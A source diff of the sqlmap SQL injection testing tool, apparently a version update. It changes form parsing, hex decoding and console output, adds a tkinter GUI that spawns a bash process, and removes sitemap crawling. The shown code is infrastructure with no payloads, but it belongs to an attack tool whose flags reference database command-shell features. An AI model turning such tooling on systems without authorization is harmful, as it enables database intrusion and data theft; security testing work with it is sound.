url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
data = ""
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
data = match.group(3)
data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
data = data.strip("['\"]")
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL"
if raise_:
raise SqlmapGenericException(errMsg)
@@ -4665,18 +4758,19 @@ def decodeDbmsHexValue(value, raw=False):
else:
retVal = decodeHex(value)
if not kb.binaryField and not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
if not raw:
if not kb.binaryField:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
pass
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
pass
if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4830,7 +4924,7 @@ def prioritySortColumns(columns):
"""
def _(column):
return column and "id" in column.lower()
return column and re.search(r"^id|id$", column, re.I) is not None
return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
@@ -4976,7 +5070,7 @@ def parseRequestFile(reqFile, checkParams=True):
port, request = match.groups()
try:
request = decodeBase64(request, binary=False)
except binascii.Error:
except (binascii.Error, TypeError):
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
+28 -1
View File
@@ -31,6 +31,11 @@ from lib.core.settings import UNICODE_ENCODING
from thirdparty import six
from thirdparty.six import unichr as _unichr
try:
from html import escape as htmlEscape
except ImportError:
from cgi import escape as htmlEscape
def base64pickle(value):
"""
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -231,6 +236,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
retVal = value
try:
codecs.lookup(encoding)
except LookupError:
encoding = UNICODE_ENCODING
if isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA:
if unsafe:
@@ -263,7 +273,7 @@ def getOrds(value):
def getUnicode(value, encoding=None, noneToNull=False):
"""
Return the unicode representation of the supplied value:
Returns the unicode representation of the supplied value
>>> getUnicode('test') == u'test'
True
@@ -375,3 +385,20 @@ def stdoutEncode(value):
retVal = value
return retVal
def getConsoleLength(value):
"""
Returns console width of unicode values
>>> getConsoleLength("abc")
3
>>> getConsoleLength(u"\\u957f\\u6c5f")
4
"""
if isinstance(value, six.text_type):
retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
else:
retVal = len(value)
return retVal
+11 -11
View File
@@ -28,8 +28,10 @@ from lib.core.common import safeCSValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getConsoleLength
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.convert import htmlEscape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -136,8 +138,6 @@ class Dump(object):
self._write("%s:\n---\n%s\n---" % (header, _))
else:
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
else:
self._write("%s:\tNone" % header)
def lister(self, header, elements, content_type=None, sort=True):
if elements and sort:
@@ -197,7 +197,7 @@ class Dump(object):
self._areAdmins = userSettings[1]
userSettings = userSettings[0]
users = list(userSettings.keys())
users = [_ for _ in userSettings.keys() if _ is not None]
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
if conf.api:
@@ -245,7 +245,7 @@ class Dump(object):
if table and isListLike(table):
table = table[0]
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
lines = "-" * (int(maxlength) + 2)
@@ -266,7 +266,7 @@ class Dump(object):
table = table[0]
table = unsafeSQLIdentificatorNaming(table)
blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table)))
blank = " " * (maxlength - getConsoleLength(getUnicode(table)))
self._write("| %s%s |" % (table, blank))
self._write("+%s+\n" % lines)
@@ -361,7 +361,7 @@ class Dump(object):
for ctables in dbTables.values():
for tables in ctables.values():
for table in tables:
maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table)))
maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
for db, counts in dbTables.items():
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
@@ -387,7 +387,7 @@ class Dump(object):
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table)))
blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
blank2 = " " * (maxlength2 - len(str(count)))
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
@@ -547,7 +547,7 @@ class Dump(object):
column = unsafeSQLIdentificatorNaming(column)
maxlength = int(info["length"])
blank = " " * (maxlength - len(column))
blank = " " * (maxlength - getConsoleLength(column))
self._write("| %s%s" % (column, blank), newline=False)
@@ -558,7 +558,7 @@ class Dump(object):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace")))
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
field += 1
@@ -602,7 +602,7 @@ class Dump(object):
values.append(value)
maxlength = int(info["length"])
blank = " " * (maxlength - len(value))
blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console)
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
@@ -630,7 +630,7 @@ class Dump(object):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace")))
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
field += 1
+265
View File
@@ -0,0 +1,265 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import socket
import subprocess
import sys
import threading
import webbrowser
from lib.core.common import getSafeExString
from lib.core.defaults import defaults
from lib.core.exception import SqlmapMissingDependence
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import GIT_PAGE
from lib.core.settings import SITE
from lib.core.settings import VERSION_STRING
from lib.core.settings import WIKI_PAGE
from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
from thirdparty.six.moves import queue as _queue
line = ""
process = None
queue = None
def runGui(parser):
try:
import tkinter
import tkinter.scrolledtext
import tkinter.ttk
except ImportError as ex:
raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
class ConstrainedEntry(tkinter.Entry):
def __init__(self, master=None, **kwargs):
self.var = tkinter.StringVar()
self.regex = kwargs["regex"]
del kwargs["regex"]
tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
self.old_value = ''
self.var.trace('w', self.check)
self.get, self.set = self.var.get, self.var.set
def check(self, *args):
if re.search(self.regex, self.get()):
self.old_value = self.get()
else:
self.set(self.old_value)
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
class AutoresizableNotebook(tkinter.ttk.Notebook):
def __init__(self, master=None, **kw):
tkinter.ttk.Notebook.__init__(self, master, **kw)
self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
def _on_tab_changed(self,event):
event.widget.update_idletasks()
tab = event.widget.nametowidget(event.widget.select())
event.widget.configure(height=tab.winfo_reqheight())
window = tkinter.Tk()
window.title(VERSION_STRING)
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
style = tkinter.ttk.Style()
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
style.theme_create("custom", parent="alt", settings=settings)
style.theme_use("custom")
# Reference: https://stackoverflow.com/a/10018670
def center(window):
window.update_idletasks()
width = window.winfo_width()
frm_width = window.winfo_rootx() - window.winfo_x()
win_width = width + 2 * frm_width
height = window.winfo_height()
titlebar_height = window.winfo_rooty() - window.winfo_y()
win_height = height + titlebar_height + frm_width
x = window.winfo_screenwidth() // 2 - win_width // 2
y = window.winfo_screenheight() // 2 - win_height // 2
window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
window.deiconify()
def onKeyPress(event):
global line
global queue
if process:
if event.char == '\b':
line = line[:-1]
else:
line += event.char
def onReturnPress(event):
global line
global queue
if process:
try:
process.stdin.write(("%s\n" % line.strip()).encode())
process.stdin.flush()
except socket.error:
line = ""
event.widget.master.master.destroy()
return "break"
event.widget.insert(tkinter.END, "\n")
counter = 0
while True:
line = ""
try:
#line = queue.get_nowait()
line = queue.get(timeout=.1)
event.widget.insert(tkinter.END, line)
counter = 0
except _queue.Empty:
event.widget.see(tkinter.END)
event.widget.update_idletasks()
if counter > 3:
break
else:
counter += 1
return "break"
def run():
global process
global queue
ON_POSIX = "posix" in sys.builtin_module_names
def enqueue(stream, queue):
for line in iter(stream.readline, b''):
queue.put(line)
stream.close()
process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX)
# Reference: https://stackoverflow.com/a/4896288
queue = _queue.Queue()
thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
thread.daemon = True
thread.start()
options = {}
for key in window._widgets:
dest, type = key
widget = window._widgets[key]
if hasattr(widget, "get") and not widget.get():
value = None
elif type == "string":
value = widget.get()
elif type == "float":
value = float(widget.get())
elif type == "int":
value = int(widget.get())
else:
value = bool(widget.var.get())
options[dest] = value
for option in parser.option_list:
options[option.dest] = defaults.get(option.dest, None)
parser._args = options
top = tkinter.Toplevel()
top.title("Console")
# Reference: https://stackoverflow.com/a/13833338
text = tkinter.scrolledtext.ScrolledText(top, undo=True)
text.bind("<Key>", onKeyPress)
text.bind("<Return>", onReturnPress)
text.pack()
text.focus()
center(top)
menubar = tkinter.Menu(window)
filemenu = tkinter.Menu(menubar, tearoff=0)
filemenu.add_command(label="Open", state=tkinter.DISABLED)
filemenu.add_command(label="Save", state=tkinter.DISABLED)
filemenu.add_separator()
filemenu.add_command(label="Exit", command=window.quit)
menubar.add_cascade(label="File", menu=filemenu)
menubar.add_command(label="Run", command=run)
helpmenu = tkinter.Menu(menubar, tearoff=0)
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
helpmenu.add_separator()
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu)
window.config(menu=menubar)
window._widgets = {}
notebook = AutoresizableNotebook(window)
first = None
frames = {}
for group in parser.option_groups:
frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200)
notebook.add(frames[group.title], text=group.title)
tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)
row = 1
if group.get_description():
tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W)
tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
row += 2
for option in group.option_list:
tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W)
if option.type == "string":
widget = tkinter.Entry(frame)
elif option.type == "float":
widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
elif option.type == "int":
widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
else:
var = tkinter.IntVar()
widget = tkinter.Checkbutton(frame, variable=var)
widget.var = var
first = first or widget
widget.grid(column=1, row=row, sticky=tkinter.W)
window._widgets[(option.dest, option.type)] = widget
default = defaults.get(option.dest)
if default:
if hasattr(widget, "insert"):
widget.insert(0, default)
tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W)
row += 1
tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)
notebook.pack(expand=1, fill="both")
notebook.enable_traversal()
first.focus()
window.mainloop()
+79 -68
View File
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
from __future__ import division
import codecs
import functools
import glob
import inspect
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
from lib.core.log import FORMATTER
from lib.core.optiondict import optDict
from lib.core.settings import CODECS_LIST_PAGE
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORE_CODE_WILDCARD
from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -132,7 +135,6 @@ from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.payloads import loadBoundaries
from lib.parse.payloads import loadPayloads
from lib.parse.sitemap import parseSitemap
from lib.request.basic import checkCharEncoding
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler
@@ -314,7 +316,7 @@ def _setRequestFromFile():
if url is None:
errMsg = "specified file '%s' " % requestFile
errMsg += "does not contain a valid HTTP request"
errMsg += "does not contain a usable HTTP request (with parameters)"
raise SqlmapDataException(errMsg)
if conf.secondReq:
@@ -335,25 +337,12 @@ def _setCrawler():
if not conf.crawlDepth:
return
if not any((conf.bulkFile, conf.sitemapUrl)):
crawl(conf.url)
else:
if conf.bulkFile:
targets = getFileItems(conf.bulkFile)
else:
targets = list(parseSitemap(conf.sitemapUrl))
for i in xrange(len(targets)):
try:
target = targets[i]
crawl(target)
if conf.verbose in (1, 2):
status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
except Exception as ex:
errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg)
if not conf.bulkFile:
if conf.url:
crawl(conf.url)
elif conf.requestFile and kb.targets:
target = list(kb.targets)[0]
crawl(target[0], target[2], target[3])
def _doSearch():
"""
@@ -391,7 +380,7 @@ def _doSearch():
links = retrieve()
if kb.targets:
infoMsg = "sqlmap got %d results for your " % len(links)
infoMsg = "found %d results for your " % len(links)
infoMsg += "search dork expression, "
if len(links) == len(kb.targets):
@@ -404,7 +393,7 @@ def _doSearch():
break
else:
message = "sqlmap got %d results " % len(links)
message = "found %d results " % len(links)
message += "for your search dork expression, but none of them "
message += "have GET parameters to test for SQL injection. "
message += "Do you want to skip to the next result page? [Y/n]"
@@ -438,23 +427,6 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
def _setSitemapTargets():
if not conf.sitemapUrl:
return
infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
logger.info(infoMsg)
found = False
for item in parseSitemap(conf.sitemapUrl):
if re.match(r"[^ ]+\?(.+)", item, re.I):
found = True
kb.targets.add((item.strip(), None, None, None, None))
if not found and not conf.forms and not conf.crawlDepth:
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
def _findPageForms():
if not conf.forms or conf.crawlDepth:
return
@@ -466,15 +438,13 @@ def _findPageForms():
infoMsg = "searching for forms"
logger.info(infoMsg)
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
page, _, _ = Request.queryPage(content=True)
if not any((conf.bulkFile, conf.googleDork)):
page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
if findPageForms(page, conf.url, True, True):
found = True
else:
if conf.bulkFile:
targets = getFileItems(conf.bulkFile)
elif conf.sitemapUrl:
targets = list(parseSitemap(conf.sitemapUrl))
elif conf.googleDork:
targets = [_[0] for _ in kb.targets]
kb.targets.clear()
@@ -483,7 +453,11 @@ def _findPageForms():
for i in xrange(len(targets)):
try:
target = targets[i]
target = targets[i].strip()
if not re.search(r"(?i)\Ahttp[s]*://", target):
target = "http://%s" % target
page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
if findPageForms(page, target, False, True):
found = True
@@ -1158,11 +1132,11 @@ def _setSafeVisit():
errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException(errMsg)
else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl:
conf.safeUrl = "https://" + conf.safeUrl
conf.safeUrl = "https://%s" % conf.safeUrl
else:
conf.safeUrl = "http://" + conf.safeUrl
conf.safeUrl = "http://%s" % conf.safeUrl
if (conf.safeFreq or 0) <= 0:
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
@@ -1227,7 +1201,7 @@ def _setHTTPAuthentication():
elif not conf.authType and conf.authCred:
errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type"
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
raise SqlmapSyntaxException(errMsg)
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1446,7 +1420,10 @@ def _setHTTPTimeout():
else:
conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout)
try:
socket.setdefaulttimeout(conf.timeout)
except OverflowError as ex:
raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
def _checkDependencies():
"""
@@ -1548,6 +1525,13 @@ def _cleanupOptions():
Cleanup configuration attributes.
"""
if conf.encoding:
try:
codecs.lookup(conf.encoding)
except LookupError:
errMsg = "unknown encoding '%s'" % conf.encoding
raise SqlmapValueException(errMsg)
debugMsg = "cleaning up configuration parameters"
logger.debug(debugMsg)
@@ -1569,11 +1553,14 @@ def _cleanupOptions():
conf.testParameter = []
if conf.ignoreCode:
try:
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
except ValueError:
errMsg = "options '--ignore-code' should contain a list of integer values"
raise SqlmapSyntaxException(errMsg)
if conf.ignoreCode == IGNORE_CODE_WILDCARD:
conf.ignoreCode = xrange(0, 1000)
else:
try:
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
except ValueError:
errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
raise SqlmapSyntaxException(errMsg)
else:
conf.ignoreCode = []
@@ -1641,16 +1628,13 @@ def _cleanupOptions():
if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
if conf.msfPath:
conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
if conf.tmpPath:
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
conf.multipleTargets = True
if conf.optimize:
@@ -1758,10 +1742,22 @@ def _cleanupOptions():
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
regex = False
if any(_ in conf.exclude for _ in ('+', '*')):
try:
re.compile(conf.exclude)
except re.error:
pass
else:
regex = True
if not regex:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
conf.binaryFields = conf.binaryFields.replace(" ", "")
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True
@@ -1821,7 +1817,6 @@ def _setConfAttributes():
conf.path = None
conf.port = None
conf.proxyList = None
conf.resultsFilename = None
conf.resultsFP = None
conf.scheme = None
conf.tests = []
@@ -1889,6 +1884,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None
kb.disableHtmlDecoding = False
kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None
@@ -1931,6 +1927,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.injections = []
kb.laggingChecked = False
kb.lastParserStatus = None
kb.lastCtrlCTime = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
@@ -1994,7 +1991,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.reduceTests = None
kb.tlsSNI = {}
kb.stickyDBMS = False
kb.storeCrawlingChoice = None
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableFrom = None
@@ -2008,16 +2004,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.threadException = False
kb.tableExistsChoice = None
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
kb.tamperFunctions = []
kb.targets = OrderedSet()
kb.testedParams = set()
@@ -2206,6 +2207,13 @@ def _mergeOptions(inputOptions, overrideOptions):
if hasattr(conf, key) and conf[key] is None:
conf[key] = value
if conf.unstable:
if key in ("timeSec", "retries", "timeout"):
conf[key] *= 2
if conf.unstable:
conf.forcePartial = True
lut = {}
for group in optDict.keys():
lut.update((_.upper(), _) for _ in optDict[group])
@@ -2477,8 +2485,8 @@ def _basicOptionValidation():
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
raise SqlmapSyntaxException(errMsg)
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude and not conf.crawlDepth:
@@ -2571,6 +2579,10 @@ def _basicOptionValidation():
errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
raise SqlmapSyntaxException(errMsg)
if conf.alert and conf.alert.startswith('-'):
errMsg = "value for option '--alert' must be valid operating system command(s)"
raise SqlmapSyntaxException(errMsg)
if conf.timeSec < 1:
errMsg = "value for option '--time-sec' must be a positive integer"
raise SqlmapSyntaxException(errMsg)
@@ -2579,7 +2591,7 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg)
@@ -2646,7 +2658,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@@ -2661,7 +2673,6 @@ def init():
_setSafeVisit()
_doSearch()
_setBulkMultipleTargets()
_setSitemapTargets()
_checkTor()
_setCrawler()
_findPageForms()
+3 -2
View File
@@ -19,7 +19,6 @@ optDict = {
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
"Request": {
@@ -238,9 +237,11 @@ optDict = {
"listTampers": "boolean",
"offline": "boolean",
"purge": "boolean",
"resultsFile": "string",
"tmpDir": "string",
"wizard": "boolean",
"unstable": "boolean",
"updateAll": "boolean",
"wizard": "boolean",
"verbose": "integer",
},
+2
View File
@@ -20,6 +20,7 @@ import thirdparty.chardet.universaldetector
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import readInput
from lib.core.common import shellExec
@@ -62,6 +63,7 @@ def resolveCrossReferences():
Place for cross-reference resolution
"""
lib.core.threads.isDigit = isDigit
lib.core.threads.readInput = readInput
lib.core.common.getPageTemplate = getPageTemplate
lib.core.convert.filterNone = filterNone
+7 -2
View File
@@ -40,9 +40,14 @@ def getRevisionNumber():
with openFile(filePath, "r") as f:
content = getText(f.read())
filePath = None
if content.startswith("ref: "):
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
else:
try:
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
except UnicodeError:
pass
if filePath is None:
match = re.match(r"(?i)[0-9a-f]{32}", content)
retVal = match.group(0) if match else None
break
+18 -5
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.10.0"
VERSION = "1.3.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner
@@ -231,6 +232,9 @@ STDIN_PIPE_DASH = '-'
# URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1"
# Timeout used during initial websocket (pull) testing
WEBSOCKET_INITIAL_TIMEOUT = 3
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
PLATFORM = os.name
PYVERSION = sys.version.split()[0]
@@ -243,7 +247,7 @@ IS_TTY = os.isatty(sys.stdout.fileno())
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
